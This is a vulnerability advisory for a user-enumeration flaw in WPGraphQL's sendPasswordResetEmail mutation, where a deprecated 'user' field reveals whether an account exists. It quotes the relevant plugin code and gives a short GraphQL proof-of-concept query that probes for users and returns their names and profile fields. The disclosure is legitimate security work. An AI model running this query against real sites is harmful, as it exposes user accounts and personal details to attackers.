CVE-2026-54768

The sendPasswordResetEmail mutation in WPGraphQL is explicitly designed to prevent user enumeration. The resolver in src/Mutation/SendPasswordResetEmail.php states in a code comment:

// We obsfucate the actual success of this mutation to prevent user enumeration.

The mutation always returns success: true regardless of whether the supplied username/email belongs to an existing user. The intended public output field is only success: Boolean.

However, a deprecated user field is still registered on the SendPasswordResetEmailPayload output type in src/Deprecated.php (lines 433-450). This deprecated field resolves to a full User object when the supplied username/email corresponds to an existing author-class user, and null otherwise, completely undermining the anti-enumeration design.

The @todo remove in 3.0.0 comment acknowledges the field is scheduled for removal, but it remains active in all 2.x releases, including current 2.14.1.

Discovered via source code review on May 29, 2026.

Details

The mutation resolver in src/Mutation/SendPasswordResetEmail.php:

$payload = ['success' => true, 'id' => null];
$user_data = self::get_user_data($input['username']);
if (!$user_data) {
    graphql_debug(...);
    return $payload;  // id stays null
}
// ...send email, then...
return ['id' => $user_data->ID, 'success' => true];

The intended public output field is only success. The id is internal-only state for downstream resolvers.

src/Deprecated.php registers an additional user field on the same payload type:

register_graphql_field(
    'SendPasswordResetEmailPayload',
    'user',
    [
        'type' => 'User',
        'deprecationReason' => static function () { return __('This field will be removed...'); },
        'resolve' => static function ($payload, $args, AppContext $context) {
            return !empty($payload['id'])
                ? $context->get_loader('user')->load_deferred($payload['id'])
                : null;
        },
    ],
);

This field reads the internal $payload['id'] and resolves it through the standard user loader. The User Model's allowed_restricted_fields policy permits unauthenticated reads of public author fields (databaseId, name, firstName, lastName, slug, description, uri, url).

PoC

mutation EnumerateUser {
  sendPasswordResetEmail(input: { username: "[email protected]" }) {
    success
    user {
      databaseId
      name
      firstName
      lastName
      slug
      description
      uri
    }
  }
}

Behavior:

• Non-existing user/email → data.sendPasswordResetEmail.user is null
• • Existing author-class user → data.sendPasswordResetEmail.user is a full User object with the listed fields populated
• • success always returns true, preserving the appearance of obfuscation, the deprecated user field is the leak